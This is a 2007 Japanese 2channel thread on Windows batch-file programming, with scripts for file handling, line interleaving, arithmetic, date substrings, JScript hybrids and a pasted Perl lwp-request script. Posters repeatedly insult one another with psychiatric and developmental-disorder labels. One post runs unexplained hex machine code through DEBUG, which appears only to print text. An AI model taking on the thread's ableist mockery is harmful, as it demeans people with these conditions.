迷惑なヤツだな
525デフォルトの名無しさん:2007/03/01(木) 00:17:39
Q1.cd 〜で指定したところがないときにそこでバッチを終了するというのはどうすればいいでしょうか?
Q2.Aフォルダ内のファイルをBフォルダに全部移すのはどうすればいいですか?
526デフォルトの名無しさん:2007/03/01(木) 00:46:05
A1: if errorlevel 1 goto :eof
B1: xcopy a b /s
527デフォルトの名無しさん:2007/03/01(木) 00:49:08
・・・ B1 ってなんだ・・・


ま、いいか。
528デフォルトの名無しさん:2007/03/01(木) 15:51:26
>>511,>>525
move/?
529デフォルトの名無しさん:2007/03/01(木) 17:06:25
パソコンの使い方はスレ違い
530デフォルトの名無しさん:2007/03/01(木) 17:14:20
スレ違いではないので大丈夫です。
531デフォルトの名無しさん:2007/03/01(木) 17:35:04
プログラミングじゃなくて初歩的なファイル操作
エクスプローラの使い方と同レベル
532デフォルトの名無しさん:2007/03/01(木) 17:36:18
CUIがパソコンの使い方であった時代は終わった

なんて
533デフォルトの名無しさん:2007/03/01(木) 19:11:56
次スレのスレタイ考えた

【ググるな】バッチファイルプログラミング 4.pl 【俺様に聞け】
534デフォルトの名無しさん:2007/03/01(木) 19:30:53
>>533
0点

はい次の自称釣り師の方どうぞ↓
535デフォルトの名無しさん:2007/03/02(金) 10:55:09
 ,、,、,||
;'`,゙、.||'、
'; 、' /´;`'.,
 ´' .; ' ; '、'.
   '; 、 ' ,'
    '.,´; '
     l !j
    /ルゝ
536デフォルトの名無しさん:2007/03/02(金) 11:32:35
【まずググれ】バッチファイル初心者質問スレ 4.pl 【質問すんなカス】
537デフォルトの名無しさん:2007/03/02(金) 18:28:43
Perlかよ
538デフォルトの名無しさん:2007/03/02(金) 20:09:12
つ〜か、このスレにぐぐって解決できないような問題を解決できるやついるのか?
539デフォルトの名無しさん:2007/03/02(金) 20:12:24
解決できないから一生懸命誘導してるんだろ
540デフォルトの名無しさん:2007/03/02(金) 23:15:28
>>538
スクリプトで出来ることを敢えてバッチでやる事に関しては
541デフォルトの名無しさん:2007/03/02(金) 23:17:19
つーか、ふと考えたこと
「オブジェクト指向バッチスクリプト」
542デフォルトの名無しさん:2007/03/03(土) 01:04:38
>>419
@echo off
setlocal
set "path=%path:"=`%"
:loop
set "c=%path:~0,1%"
if "%c%"==";" (
echo=%p:`="%
set p=
) else (
set "p=%p%%c%"
)
set "path=%path:~1%"
if defined path goto loop
if defined p echo=%p:`="%
543デフォルトの名無しさん:2007/03/03(土) 03:47:33
>.>541
つ PowerShellスクリプト
544デフォルトの名無しさん:2007/03/03(土) 10:51:42
PowerShellは一回入れてちょっと遊んだきり使ってないな。
スレの方も閑古鳥が鳴いてるし。
545デフォルトの名無しさん:2007/03/03(土) 17:51:15
デバイスマネージャの任意のデバイスを有効/無効にする
バッチファイルはどう書けばいいですか?
546デフォルトの名無しさん:2007/03/03(土) 18:00:20
バッチファイルでは書けない。
コマンドラインのプログラムはあるが、スレ違いだから。
547デフォルトの名無しさん:2007/03/03(土) 18:15:46
コマンドラインのプログラムがあればバッチで書けるだろ。
548デフォルトの名無しさん:2007/03/03(土) 19:13:27
でもここはバッチファイルの構文的なことを語ったり質問したりするスレで
外部ツール探しや使い方についてはスレ違いだから。
549デフォルトの名無しさん:2007/03/03(土) 19:16:08
得意の屁理屈キタ━━━━(゚∀゚)━━━━!!
550デフォルトの名無しさん:2007/03/03(土) 19:17:34
勝手に「構文的なことを語ったり質問したりするスレ」と限定しないように。
551デフォルトの名無しさん:2007/03/03(土) 19:22:26
>>545
知ってるけどスレ違いだから教えない。
552デフォルトの名無しさん:2007/03/03(土) 19:38:02
勝手に「構文的なことを語ったり質問したりするスレ」じゃないと決めつけないように。
553デフォルトの名無しさん:2007/03/03(土) 22:54:02
>>546
>>1をよく読むように!
554デフォルトの名無しさん:2007/03/03(土) 22:58:33
>>553
>>546は病気なので何を言っても無駄っぽい。
555デフォルトの名無しさん:2007/03/03(土) 23:09:27
>>1に書かれてることは、>>10>>100>>500なんかに書かれてることと等価。
全て一個人の発言であって1番目やキリ番だからといってスレへの影響力や強制力があるわけじゃない。
それが2chという個人が勝手な内容でスレ立て出来る掲示板での常識。

>>1に強制力があったら、「このスレを開いた人は、今日中に自殺しなくてはならない」という内容を
>>1に書いてスレ立てするだけで、多くの人を殺すことが出来ちゃう。

もちろんスレ違い指摘も一個人の意見なので、従うも従わないも無視するのも踊らされて反応するのも自由。
556デフォルトの名無しさん:2007/03/03(土) 23:36:32
あらためてかくようなことかよ、ばか
557デフォルトの名無しさん:2007/03/04(日) 00:01:18
論理が破綻してるな。
やはり病気というのは真実だった
558デフォルトの名無しさん:2007/03/04(日) 00:13:12
557
559デフォルトの名無しさん:2007/03/04(日) 22:04:26
どなたかこんなバッチつくれません??
2ファイルを1行ずつ改行して読み込む処理
x.txt y.txt
---- ----
aaa 111
bbb 222
---- ----
↓↓↓↓↓
z.txt
----
aaa
111
bbb
222
----
560デフォルトの名無しさん:2007/03/04(日) 22:14:03
>>559
ここは自分でプログラムを作る人の板だから
自分で作らない人が来るところじゃない
561デフォルトの名無しさん:2007/03/04(日) 22:15:56
>559
win板に行った方がいいよ
562デフォルトの名無しさん:2007/03/04(日) 22:17:29
初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
http://pc11.2ch.net/test/read.cgi/win/1152544955/
563デフォルトの名無しさん:2007/03/04(日) 22:31:31
>>559
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
の>74,>87に似たようなものがある。

が、WSH使ったほうが簡単
564デフォルトの名無しさん:2007/03/04(日) 22:32:40
誰か病院に連れて行ってやれ
565デフォルトの名無しさん:2007/03/04(日) 22:38:53
>>559
限界はおぬし自信が見極めるのじゃ

@echo off
setlocal enableextensions enabledelayedexpansion
for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" x.txt') do set L%%i=%%j
for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" y.txt') do (
if defined L%%i (echo !L%%i!) else (echo.)
if not ""=="%%j" (echo %%j) else (echo.))
566デフォルトの名無しさん:2007/03/04(日) 22:54:13
>>565
x.txt が y.txt より長いと表示されないし
スペースのみの行だと echoはoffです になるな。だめだめ。

しかし、echo コマンドはなんで拡張オプション作ってくれなかったんだろう・・・
567デフォルトの名無しさん:2007/03/04(日) 22:57:33
echo=…
と書けば…が空白でもechoはoffですとは表示されないよ。
568デフォルトの名無しさん:2007/03/04(日) 22:57:34
道具を使い分けるのがプロ
日曜プログラマにはそれができない
569デフォルトの名無しさん:2007/03/04(日) 23:01:16
Windows PowerShell徹底解説:ITpro
UNIXシステム管理者にとって,Windowsスクリプティングは長い間笑いの種だった。
これにはいくつかの理由があったが,代表的なのは,Windowsにはスクリプティングを
本当の意味で役立つものにするための主要機能の多くが欠けていたことだ。
itpro.nikkeibp.co.jp/article/COLUMN/20061106/252598/ - 114k - キャッシュ - 関連ページ
570デフォルトの名無しさん:2007/03/04(日) 23:04:24
>>567
あ、ほんとだ。
知らなかったよ、サンクス!
571デフォルトの名無しさん:2007/03/04(日) 23:19:19
んじゃ、改訂版

@echo off
setlocal enableextensions enabledelayedexpansion
for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" x.txt') do (
set L%%i=%%j
set LastX=%%i
)
for /f "skip=2 tokens=1* delims=]" %%i in ('find /n /v "" y.txt') do (
set LastY=%%i
echo=!L%%i!
echo=%%j
)
set /a LastY=%LastY:~1% + 1
for /l %%i in (%LastY%, 1, %LastX:~1%) do (
echo=!L[%%i!
echo=
)
572デフォルトの名無しさん:2007/03/05(月) 14:56:57
WSH使えば簡単だっちゅうに

@if(0)==(0) ECHO OFF
CScript.exe //NoLogo //E:JScript "%~f0" %1 %2
GOTO :EOF
@end
var fso=new ActiveXObject('Scripting.FileSystemObject');
var f1=fso.OpenTextFile(WScript.Arguments.Item(0));
var f2=fso.OpenTextFile(WScript.Arguments.Item(1));
while(!f1.AtEndOfStream || !f2.AtEndOfStream){
if(f1.AtEndOfStream) WScript.Echo();
else WScript.Echo(f1.ReadLine());
if(f2.AtEndOfStream) WScript.Echo();
else WScript.Echo(f2.ReadLine());
}
573デフォルトの名無しさん:2007/03/05(月) 15:15:27
>>559
7分後にはマルチかよ

|1689.2ファイルから1行ずつ改行して読み込みたい XYZ 07/03/04(日) 22:11
574デフォルトの名無しさん:2007/03/05(月) 15:54:51
>>572
すっごいなソレ!
わけ分からん。wshか。未知の世界だわ。
575デフォルトの名無しさん:2007/03/05(月) 17:54:40
>>572
をバッチに直すと、

と思ったけどマルチじゃね、ヤメタ。
576デフォルトの名無しさん:2007/03/05(月) 18:39:39
プログラムを呼ぶだけのものをプログラミングとは言わない
GOTO :EOF 以降はバッチは無視するわけだし
スレ違い
577デフォルトの名無しさん:2007/03/05(月) 18:41:03
たしかwin板にwshも使用可のスレがあったと思うよ
578デフォルトの名無しさん:2007/03/05(月) 18:41:55
確かコマンドラインとかいうスレ
579デフォルトの名無しさん:2007/03/05(月) 19:22:35
スレ違いと言っている人はかわいそうな病人。
580デフォルトの名無しさん:2007/03/05(月) 19:29:57
>>574
BATの奇妙奇天烈奇々怪々の構文が理解できるのなら
WSH(JScript)の理路整然とした構文なんてすぐマスターできるよ。
581デフォルトの名無しさん:2007/03/05(月) 19:33:51
>>580
機械言語の構文は理論整然としてるんだぉ(^ω^
理解に苦しむだけなんだぉ(^ω^
582デフォルトの名無しさん:2007/03/05(月) 19:37:18
出前頼んだのは料理とは言わない
自分で料理しないで料理したふりは良くない
583デフォルトの名無しさん:2007/03/05(月) 19:41:00
だれも料理が出てくることを期待していないんだぉ(^ω^
美味しい料理が食べれればいいんだぉ(^ω^
これがビジネスルールなんだぉ(;^ω^
584デフォルトの名無しさん:2007/03/05(月) 19:45:45
癒し散布

. 。 . * ・゚  .。 . *・ 。 . *・゚
  * 。  * ;* ,* ゚
    *゚. *
     *
(´ー`)ノポポポポポ・・・・
585デフォルトの名無しさん:2007/03/05(月) 19:46:39
ここは作る人の板だから
586デフォルトの名無しさん:2007/03/05(月) 19:47:58
インチキや手抜きはだめだよ
587デフォルトの名無しさん:2007/03/05(月) 19:50:02
スレ違いと言うしか脳の無い人の板じゃありませんから
588デフォルトの名無しさん:2007/03/05(月) 20:04:23
>>571-572
標準的なコマンドだけ使おうとすると
find使ったりと面倒なものですね。
一見したところ何やってるのかわからないしw

JScriptを埋め込んだバッチの方が分かりやすい。
589デフォルトの名無しさん:2007/03/05(月) 20:19:22
ren * スレ違いの病人と戯れるスレ
590デフォルトの名無しさん:2007/03/05(月) 20:25:00
rem 病人って言ってるけど実際に発達障害の一種だと思う
591デフォルトの名無しさん:2007/03/05(月) 20:26:23
Cみたいな標準があるわけでもないのに何でこんなにひねくれてるんだ?
592デフォルトの名無しさん:2007/03/05(月) 20:39:18
>>588
>>一見したところ何やってるのかわからないしw
そこが魅力なのw
バッチファイルプログラミングでの優先順位は

美しさ(オナニー)>>実行効率>>わかりやすさ
593俺もなー:2007/03/05(月) 20:41:16
スルーできない奴がいるからだろ。
594デフォルトの名無しさん:2007/03/05(月) 21:25:54
JScriptはスレ違い
595デフォルトの名無しさん:2007/03/05(月) 21:28:45
>>594
スレ違い君、こんばんは
596デフォルトの名無しさん:2007/03/05(月) 21:31:21
>>589
スレ違いって言うよりは、○チガイ。
あ、最近は総合失調症とかって言うんだっけ?
597デフォルトの名無しさん:2007/03/05(月) 21:37:55
@rem 高機能自閉症っぽいような
598デフォルトの名無しさん:2007/03/05(月) 22:36:17
過去100レスしか見てない俺がこのスレにふさわしいバッチを作ってみたよ

@echo off
setlocal enabledelayedexpansion
set /a num1=10*%RANDOM%/32767
:set_num2
set /a num2=10*%RANDOM%/32767
if %num1%==%num2% goto set_num2
set str0=誘導厨
set str1=ググれカス
set str2=WSH
set str3=JSCRIPT
set str4=スルー
set str5=スレ違い
set str6=病人
set str7=発達障害
set str8=総合失調症
set str9=高機能自閉症
echo 【!str%num1%!】バッチファイルプログラミング 4.bat【!str%num2%!】
599デフォルトの名無しさん:2007/03/05(月) 22:58:19
すばらしいwww
600デフォルトの名無しさん:2007/03/05(月) 23:09:18
>>598
%RANDOM%の使い方に注意しよう
601デフォルトの名無しさん:2007/03/05(月) 23:15:08
そうか、低い確率だけど32767で割るとnum1,num2が10になる可能性があるな
thanks >>600
602デフォルトの名無しさん:2007/03/05(月) 23:18:04
総合失調症でなくて統合失調症ですよん
603デフォルトの名無しさん:2007/03/05(月) 23:20:14
レベル低いな
素人集団か
604デフォルトの名無しさん:2007/03/05(月) 23:20:51
>>601
あと2点あるよ
605デフォルトの名無しさん:2007/03/05(月) 23:24:57
初心者は素直にwin板行きなよ
606デフォルトの名無しさん:2007/03/05(月) 23:26:37
>>603
そうやって上から見下ろしてるのがきもちいいんでしょ?でしょ?
いいよね〜いいよね〜〜〜
607デフォルトの名無しさん:2007/03/05(月) 23:26:57
>>605
スレ違い君はまだ起きてたの?
608デフォルトの名無しさん:2007/03/05(月) 23:57:37
sleep 2147483647
609デフォルトの名無しさん:2007/03/06(火) 00:00:40
INT609
610デフォルトの名無しさん:2007/03/07(水) 18:57:22
オレなんてすごい素人だけど、スレ違いとか病人だとか言って人減らし
してるヤツはどうかと思うよ。
多少のスレ違いまでもネタにして、ざっくばらんにいこうよ。
ちょっとはニュー即を見習ってもらいたいものだ。
611デフォルトの名無しさん:2007/03/07(水) 19:48:14
ここはニュー足じゃないよ
郷に入っては郷に従え
612デフォルトの名無しさん:2007/03/07(水) 20:02:36
当人たちはネタのつもりでやってるんだろうけど
ちっとも面白くないのが問題。

ちょっとは乳ーそくを見習ってもらいたいものだ。
613デフォルトの名無しさん:2007/03/07(水) 20:08:09
>610
3行目は同意だが4行目は遠慮させてくだちぃ
614デフォルトの名無しさん:2007/03/08(木) 20:05:32
>>598
for /f "tokens=1-10" %%0 in ("誘導厨 ググれカス WSH JSCRIPT スルー スレ違い 病人 発達障害 総合失調症 高機能自閉症" ) do echo 【%%%num1%】バッチファイルプログラミング 4.bat【%%%num1%】
615デフォルトの名無しさん:2007/03/08(木) 20:12:35
>>614
訂正。2つ目はnum2
616デフォルトの名無しさん:2007/03/08(木) 20:15:53
なんで改悪するの?
617デフォルトの名無しさん:2007/03/08(木) 21:05:43
(echo e 100 B9 00 10 BA 10 01 B4 09 CD 21 E2 F7 B4 4C CD 21
echo e 110 C6 AD B0 91 AC 82 F0 8C A9 8F 4B 82 C1 82 BD C8
echo e 120 C0 CF C0 DE 2D 3F 28 A5 81 CD A5 20 29 82 C1 2F
echo e 130 99 81 81 DC 81 99 C1 DD C1 DD 20 24
echo g=100) | debug
618デフォルトの名無しさん:2007/03/12(月) 21:24:53
以前、バッチでの小数点の計算について質問させて頂いた者です。
5÷2を計算した場合に、2.5と値を出したいと質問し、
以下を教えて頂きました。

@echo off
set x=5
set y=2
set /a num=10*x/y
set num=%num:~0,-1%.%num:~-1%
echo %num%

WindowsXP・2000では上記で正常に"2.5"と表示されるのですが、
WindowsNT4.0では、"20."と表示されます。
恐らく、5/2=2 2*10=20のように計算されているのだと思います。
WindowsNT4.0環境で、計算結果に小数点を含ませる方法はあるでしょうか。
ご教授お願いいたします。
619デフォルトの名無しさん:2007/03/12(月) 22:00:35
答えを教えてもらわないとできないんだったら
市販ソフトでも使っとけ
620デフォルトの名無しさん:2007/03/12(月) 22:14:13
写経でもやるつもりなんだろうか
621デフォルトの名無しさん:2007/03/12(月) 22:40:02
南無阿弥陀仏
622デフォルトの名無しさん:2007/03/13(火) 07:18:42
>>618
> set /a num=10*x/y
> 恐らく、5/2=2 2*10=20のように計算されているのだと思います。

そう思ったら何故2行に分けない。
623デフォルトの名無しさん:2007/03/13(火) 11:04:17
>>618
算数の問題のような気がするが・・・
小数点以下とバラして計算してしまえば良いだけでは。つまり、5/2 の結果をまず
一つの変数に入れる。これが 2 になる。次に (5*10/2)%10 を計算する。これが
小数点以下1桁目の値(5)になる。あとは表示するだけ。
624デフォルトの名無しさん:2007/03/13(火) 11:39:53
質問です。
DOSのdelコマンドにはファイルをサブフォルダも辿って再帰的
に削除するオプションはないのでしょうか?
あるいは、他のやり方で同様のことを実現する方法はあります
でしょうか。
どなたか知ってる方いらっしゃいましたらご教授お願いします。
625デフォルトの名無しさん:2007/03/13(火) 11:45:24
0点
626デフォルトの名無しさん:2007/03/13(火) 11:49:36
古いDOSならdeltreeとかなかったっけ
今のコマンドプロンプトなら del /?
627デフォルトの名無しさん:2007/03/13(火) 12:18:11
ここはプログラムを作る人の板です。
パソコンの使い方の質問はご遠慮下さい
628デフォルトの名無しさん:2007/03/13(火) 12:25:15
629デフォルトの名無しさん:2007/03/13(火) 14:07:39
スレ違い君はまだいたのか
630デフォルトの名無しさん:2007/03/13(火) 14:08:35
スレ違い君って627-628のことね
631デフォルトの名無しさん:2007/03/13(火) 14:31:41
それはまちがい
632デフォルトの名無しさん:2007/03/13(火) 14:34:34
病気を治せばまちがいでないことがわかるよ
633デフォルトの名無しさん:2007/03/13(火) 14:35:52
病気を治せばまちがいであることに気付くよ
634デフォルトの名無しさん:2007/03/13(火) 14:38:22
DOSのdelコマンドのオプションを質問するやつ
635デフォルトの名無しさん:2007/03/13(火) 14:40:00
次にエクスプローラの使い方の質問がきてもおかしくないな
636デフォルトの名無しさん:2007/03/13(火) 14:41:23
ダブルクリックがうまくできませんという相談がきてもおかしくないな
637デフォルトの名無しさん:2007/03/13(火) 14:44:00
>>635-636
スレ違い君(594,605,627-628など)以上におかしいのは滅多に無いと思うから安心して
病院に行きなさい
638デフォルトの名無しさん:2007/03/13(火) 15:48:19
おかしい人は、世間一般から見た「おかしい人」を正確に判断できません。637とかね。
639デフォルトの名無しさん:2007/03/13(火) 15:52:47
検索ワードを入力してGoogleに検索させて
その結果を一覧表示するコードはどう書けばいいでしょうか。
640デフォルトの名無しさん:2007/03/13(火) 16:10:31
そういう場合perlとか使うんじゃないか?
641デフォルトの名無しさん:2007/03/13(火) 17:40:54
642デフォルトの名無しさん:2007/03/13(火) 18:29:45
@echo off
setlocal enabledelayedexpansion
set n=0
for /f "skip=14 usebackq" %%i in ("%~f0") do call :set_str "%~f0" %%i
set /a num1=%RANDOM%%%%n%
:set_num2
set /a num2=%RANDOM%%%%n%
if %num1%==%num2% goto set_num2
echo 【!str[%num1%]!】バッチファイルプログラミング 4.bat【!str[%num2%]!】
goto :eof
:set_str
set str[%n%]=%2
set /a n+=1
goto :eof
誘導厨
ググれカス
WSH
JSCRIPT
スルー
スレ違い君
病人
発達障害
統合失調症
高機能自閉症
643デフォルトの名無しさん:2007/03/13(火) 19:02:32
無駄が多いなぁ
644デフォルトの名無しさん:2007/03/13(火) 19:18:02
スレ違い君はコテ付けてくれよ
645デフォルトの名無しさん:2007/03/13(火) 19:22:55
スレ違いを理解できないお馬鹿君はコテ付けてくれよ
646デフォルトの名無しさん:2007/03/13(火) 19:57:24
>>645
スレ違い君、こんばんは。
647デフォルトの名無しさん:2007/03/13(火) 19:59:21
なんでそんなに簡単に踊るの?
648デフォルトの名無しさん:2007/03/14(水) 01:37:51
call :select 誘導厨 ググれカス WSH JSCRIPT スルー スレ違い 病人 発達障害 統合失調症 高機能自閉症
goto :eof
:select
call echo 【%%%num1%】バッチファイルプログラミング 4.bat【%%%num2%】
649デフォルトの名無しさん:2007/03/14(水) 18:10:39
質問です。
もしかしてスレ違いです。
でもここはいい人ばかりなので、快く教えてくれると思います。

echo %date:/=%

とすると今日のYYYYMMDDを表示できますが、YYYYMMの部分だけ表示したいのです。
どうすれば良いでしょうか?

echo %date:/=% | cut -c1-6

とかできれば良いのですがSFUは入ってません。
すいませんが教えてください。
650デフォルトの名無しさん:2007/03/14(水) 18:17:51
echo %DATE:~,4%%DATE:~5,2%

set hoge=%DATE:/=%
echo %hoge:~,6%

なんで置換知っていて切り出し知らないかなぁ?
651デフォルトの名無しさん:2007/03/14(水) 18:26:27
>>650
ありがとうございます。
部分的にしか知らないからそんな使い方があるとは思いませんでした。
(*゚∀゚)=3 MS-DOSスゲー
652デフォルトの名無しさん:2007/03/14(水) 18:31:28
MS-DOSでなくてWindows(NT系)のCMD.EXEの機能だよん
653デフォルトの名無しさん:2007/03/14(水) 18:45:09
こういうのが絡むときの一括処理はパールで作るしかないって思ってたけど、
バッチでも十分っぽいな…
654デフォルトの名無しさん:2007/03/14(水) 18:50:35
馬鹿のやること
655デフォルトの名無しさん:2007/03/14(水) 19:03:28
可読性を考えるとPerlやJScriptのほうが良いことも多いだろうが
656デフォルトの名無しさん:2007/03/14(水) 19:14:07
箸じゃなくても歯ブラシでも食べれることに気がついた
657デフォルトの名無しさん:2007/03/14(水) 19:28:35
しかしナイフとフォークでは食べられない656であった
658デフォルトの名無しさん:2007/03/14(水) 20:39:30
m9(・∀・)悪口書き込みたいが為だけにスタンバってるだろ!
659デフォルトの名無しさん:2007/03/14(水) 20:42:39
自己紹介?
660俺もなー:2007/03/14(水) 22:01:50
>>655
でも、余分なインストールが不要と言うメリットは捨てがたい時もあるしな。
661俺もなー:2007/03/14(水) 22:03:15
あっ、JScript / VBScript なら、インストールは不要か...。
662デフォルトの名無しさん:2007/03/15(木) 01:41:17
>>641
URLのときは、

@if(0)==(0) ECHO OFF
CScript.exe //NoLogo //E:JScript "%~f0" %1
GOTO :EOF
@end
var htmlfile=WScript.GetObject(WScript.Arguments.Item(0));
while(htmlfile.readyState!='complete') WScript.Sleep(100);
WScript.Echo(htmlfile.body.innerText);
663デフォルトの名無しさん:2007/03/15(木) 09:11:02
>>662
すごいなマジで
cmd.exeってかなりできる子だったんだな
664デフォルトの名無しさん:2007/03/15(木) 09:27:42
いやcmd.exeじゃなくてcscript.exeだろ
まあ.batファイルに記述してるなら
cscript.exeを使うのはこのスレ的には問題ないけどね
665デフォルトの名無しさん:2007/03/15(木) 10:51:17
batlでhttp get するプログラム

@rem = '--*-Perl-*--
@echo off
if "%OS%" == "Windows_NT" goto WinNT
perl -x -S "%0" %1 %2 %3 %4 %5 %6 %7 %8 %9
goto endofperl
:WinNT
perl -x -S %0 %*
if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl
if %errorlevel% == 9009 echo You do not have Perl in your PATH.
if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul
goto endofperl
@rem ';
#!/usr/bin/perl -w
#line 15

# $Id: lwp-request,v 2.1 2002/01/03 02:07:02 gisle Exp $
#
# Simple user agent using LWP library.
666続き:2007/03/15(木) 10:52:48
=head1 NAME

lwp-request, GET, HEAD, POST - Simple WWW user agent

=head1 SYNOPSIS

lwp-request [-aeEdvhx] [-m method] [-b <base URL>] [-t <timeout>]
[-i <if-modified-since>] [-c <content-type>] [-C <credentials>]
[-p <proxy-url>] [-o <format>] <url>...

=head1 DESCRIPTION

This program can be used to send requests to WWW servers and your
local file system. The request content for POST and PUT
methods is read from stdin. The content of the response is printed on
stdout. Error messages are printed on stderr. The program returns a
status value indicating the number of URLs that failed.
667つづく:2007/03/15(木) 10:53:50
The options are:

=over 4

=item -m <method>

Set which method to use for the request. If this option is not used,
then the method is derived from the name of the program.

=item -f

Force request through, even if the program believes that the method is
illegal. The server might reject the request eventually.

=item -b <uri>

This URI will be used as the base URI for resolving all relative URIs
given as argument.

=item -t <timeout>

Set the timeout value for the requests. The timeout is the amount of
time that the program will wait for a response from the remote server
before it fails. The default unit for the timeout value is seconds.
You might append "m" or "h" to the timeout value to make it minutes or
hours, respectively. The default timeout is '3m', i.e. 3 minutes.
668つづく:2007/03/15(木) 10:54:33
=item -i <time>

Set the If-Modified-Since header in the request. If I<time> it the
name of a file, use the modification timestamp for this file. If
I<time> is not a file, it is parsed as a literal date. Take a look at
L<HTTP::Date> for recogniced formats.

=item -c <content-type>

Set the Content-Type for the request. This option is only allowed for
requests that take a content, i.e. POST and PUT. You can
force methods to take content by using the C<-f> option together with
C<-c>. The default Content-Type for POST is
C<application/x-www-form-urlencoded>. The default Content-type for
the others is C<text/plain>.

=item -p <proxy-url>

Set the proxy to be used for the requests. The program also loads
proxy settings from the environment. You can disable this with the
C<-P> option.
669つづく:2007/03/15(木) 10:55:29
=item -H <header>

Send this HTTP header with each request. You can specify several, e.g.:

lwp-request \
-H 'Referer: http://other.url/' \
-H 'Host: somehost' \
http://this.url/

=item -C <username>:<password>

Provide credentials for documents that are protected by Basic
Authentication. If the document is protected and you did not specify
the username and password with this option, then you will be prompted
to provide these values.
670デフォルトの名無しさん:2007/03/15(木) 11:05:06
ショボすぎ
671つづく:2007/03/15(木) 11:09:13
=back

The following options controls what is displayed by the program:

=over 4

=item -u

Print request method and absolute URL as requests are made.

=item -U

Print request headers in addition to request method and absolute URL.

=item -s

Print response status code. This option is always on for HEAD requests.

=item -S

Print response status chain. This shows redirect and autorization
requests that are handled by the library.
672つづく:2007/03/15(木) 11:09:49
=item -e

Print response headers. This option is always on for HEAD requests.

=item -d

Do B<not> print the content of the response.

=item -o <format>

Process HTML content in various ways before printing it. If the
content type of the response is not HTML, then this option has no
effect. The legal format values are; I<text>, I<ps>, I<links>,
I<html> and I<dump>.

If you specify the I<text> format then the HTML will be formatted as
plain latin1 text. If you specify the I<ps> format then it will be
formatted as Postscript.

The I<links> format will output all links found in the HTML document.
Relative links will be expanded to absolute ones.

The I<html> format will reformat the HTML code and the I<dump> format
will just dump the HTML syntax tree.
673つづく:2007/03/15(木) 11:10:20
=item -v

Print the version number of the program and quit.

=item -h

Print usage message and quit.

=item -x

Extra debugging output.

=item -a

Set text(ascii) mode for content input and output. If this option is not
used, content input and output is done in binary mode.

=back

Because this program is implemented using the LWP library, it will
only support the protocols that LWP supports.
674つづく:2007/03/15(木) 11:12:00
=head1 SEE ALSO

L<lwp-mirror>, L<LWP>

=head1 COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 AUTHOR

Gisle Aas <[email protected]>

=cut

$progname = $0;
$progname =~ s,.*[\\/],,; # use basename only
$progname =~ s/\.\w*$//; # strip extension, if any

$VERSION = sprintf("%d.%02d", q$Revision: 2.1 $ =~ /(\d+)\.(\d+)/);
675つづく:2007/03/15(木) 11:13:02
require LWP;
require LWP::Debug;

use URI;
use URI::Heuristic qw(uf_uri);

use HTTP::Status qw(status_message);
use HTTP::Date qw(time2str str2time);


# This table lists the methods that are allowed. It should really be
# a superset for all methods supported for every scheme that may be
# supported by the library. Currently it might be a bit too HTTP
# specific. You might use the -f option to force a method through.
#
# "" = No content in request, "C" = Needs content in request
#
%allowed_methods = (
GET => "",
HEAD => "",
POST => "C",
PUT => "C",
DELETE => "",
TRACE => "",
OPTIONS => "",
);
676つづく:2007/03/15(木) 11:15:20
=back

The following options controls what is displayed by the program:

=over 4

=item -u

Print request method and absolute URL as requests are made.

=item -U

Print request headers in addition to request method and absolute URL.

=item -s

Print response status code. This option is always on for HEAD requests.

=item -S

Print response status chain. This shows redirect and autorization
requests that are handled by the library.
677つづく:2007/03/15(木) 11:16:12
=item -i <time>

Set the If-Modified-Since header in the request. If I<time> it the
name of a file, use the modification timestamp for this file. If
I<time> is not a file, it is parsed as a literal date. Take a look at
L<HTTP::Date> for recogniced formats.

=item -c <content-type>

Set the Content-Type for the request. This option is only allowed for
requests that take a content, i.e. POST and PUT. You can
force methods to take content by using the C<-f> option together with
C<-c>. The default Content-Type for POST is
C<application/x-www-form-urlencoded>. The default Content-type for
the others is C<text/plain>.

=item -p <proxy-url>

Set the proxy to be used for the requests. The program also loads
proxy settings from the environment. You can disable this with the
C<-P> option.
678デフォルトの名無しさん:2007/03/15(木) 11:23:36
>675のつづき

# We make our own specialization of LWP::UserAgent that asks for
# user/password if document is protected.
{
package RequestAgent;
@ISA = qw(LWP::UserAgent);

sub new
{
my $self = LWP::UserAgent::new(@_);
$self->agent("lwp-request/$main::VERSION");
$self;
}
679つづく:2007/03/15(木) 11:24:36

sub get_basic_credentials
{
my($self, $realm, $uri) = @_;
if ($main::options{'C'}) {
return split(':', $main::options{'C'}, 2);
} elsif (-t) {
my $netloc = $uri->host_port;
print "Enter username for $realm at $netloc: ";
my $user = <STDIN>;
chomp($user);
return (undef, undef) unless length $user;
print "Password: ";
system("stty -echo");
my $password = <STDIN>;
system("stty echo");
print "\n"; # because we disabled echo
chomp($password);
return ($user, $password);
} else {
return (undef, undef)
}
}
}
680つづく:2007/03/15(木) 11:25:13
$method = uc(lc($progname) eq "lwp-request" ? "GET" : $progname);

# Parse command line
use Getopt::Long;

my @getopt_args = (
'a', # content i/o in text(ascii) mode
'm=s', # set method
'f', # make request even if method is not in %allowed_methods
'b=s', # base url
't=s', # timeout
'i=s', # if-modified-since
'c=s', # content type for POST
'C=s', # credentials for basic authorization
'H=s@', # extra headers, form "Header: value string"
#
'u', # display method, URL and headers of request
'U', # display request headers also
's', # display status code
'S', # display whole chain of status codes
'e', # display response headers (default for HEAD)
'd', # don't display content
#
'h', # print usage
'v', # print version
#
'x', # extra debugging info
'p=s', # proxy URL
'P', # don't load proxy setting from environment
#
'o=s', # output format
);
681つづく:2007/03/15(木) 11:25:53
Getopt::Long::config("noignorecase", "bundling");
unless (GetOptions(\%options, @getopt_args)) {
usage();
}
if ($options{'v'}) {
require LWP;
my $DISTNAME = 'libwww-perl-' . LWP::Version();
die <<"EOT";
This is lwp-request version $VERSION ($DISTNAME)

Copyright 1995-1999, Gisle Aas.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
EOT
}
682つづく:2007/03/15(木) 11:26:32
usage() if $options{'h'} || !@ARGV;

LWP::Debug::level('+') if $options{'x'};

# Create the user agent object
$ua = RequestAgent->new;

# Load proxy settings from *_proxy environment variables.
$ua->env_proxy unless $options{'P'};

$method = uc($options{'m'}) if defined $options{'m'};

if ($options{'f'}) {
